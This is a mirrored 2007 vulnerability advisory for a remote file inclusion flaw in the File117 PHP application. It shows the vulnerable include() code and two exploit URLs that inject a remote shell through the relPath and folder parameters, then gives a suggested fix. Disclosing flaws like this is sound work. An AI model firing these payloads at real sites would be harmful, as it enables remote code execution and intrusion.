Lucene search
K

file117-rfi.txt

🗓️ 24 Apr 2007 00:00:00Reported by InyeXionType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 31 Views

File117 Remote File Inclusion vulnerability found in detail.ph

Code
`~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
File117 Remote File Inclusion  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
Affected Software .: File117  
Download..: http://www.sinato.com/jmuffin/upload/file117.zip  
Risk ..............: high   
Found by ..........: InyeXion   
Contact ...........: InyeXion[at]gmail.com   
Web .............: Www.InyeXion.com.ar   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Affected File:   
/html/php/detail.php  
  
Vulnerable Code:  
  
<?php  
include_once("phpInterface.php");  
$$cmname=$cm;  
include($relPath.$folder."/".$templatename);  
?>  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
Exploit:  
  
http://[target]/html/php/detail.php?relPath=[shell]?   
http://[target]/html/php/detail.php?folder=[shell]?   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Fixed bug:  
  
if((isset($_REQUEST['relPath']) || isset($_GET['relPath']) || isset($_POST['relPath'])) && !defined("relPath")){  
die("denied access"); }  
  
AND  
  
if((isset($_REQUEST['folder']) || isset($_GET['folder']) || isset($_POST['folder'])) && !defined("folder")){  
die("denied access"); }  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Apr 2007 00:00Current
7.4High risk
Vulners AI Score7.4
31